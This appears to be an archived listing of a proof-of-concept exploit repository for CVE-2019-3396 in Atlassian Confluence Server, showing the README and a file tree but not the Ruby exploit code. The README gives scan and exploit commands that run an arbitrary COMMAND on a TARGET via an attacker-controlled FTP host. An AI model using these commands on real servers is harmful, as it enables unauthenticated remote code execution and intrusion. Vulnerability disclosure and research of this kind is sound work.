CVE-2019-3396 PoC — Atlassian Confluence Server 路径遍历漏洞

Source

Associated Vulnerability

Readme

# cve-2019-3396
### Unauthenticated Confluence RCE (cve-2019-3396)
![](./preview.jpg)
## setup exploit libraries
```
bundle install
```
## run
```
┌──(user㉿hostname)-[~/path/to/cve-2019-3396]
└─$ ruby cve-2019-3396.rb 

        exploit   ->    CVE-2019-3396
        Author    ->    Abdallah Mohamed Elsharif
        Greetz to Ghost5egy and Hamza Abdulrahman and Omar and Alaa

        Usage: 
                ruby cve-2019-3396.rb [options] Or --help



```
## scan 
```
ruby cve-2019-3396.rb -t TARGET --scan
```
## exploit
```
ruby cve-2019-3396.rb -t TARGET --ftp-serv FTPHOST -c COMMAND
```

File Snapshot

 [4.0K]  /data/pocs/397df9a2e23e46e3c41572519469923804827111
├── [5.7K]  cve-2019-3396.rb
├── [  71]  Gemfile
├── [ 55K]  preview.jpg
└── [ 607]  README.md

0 directories, 4 files

Remarks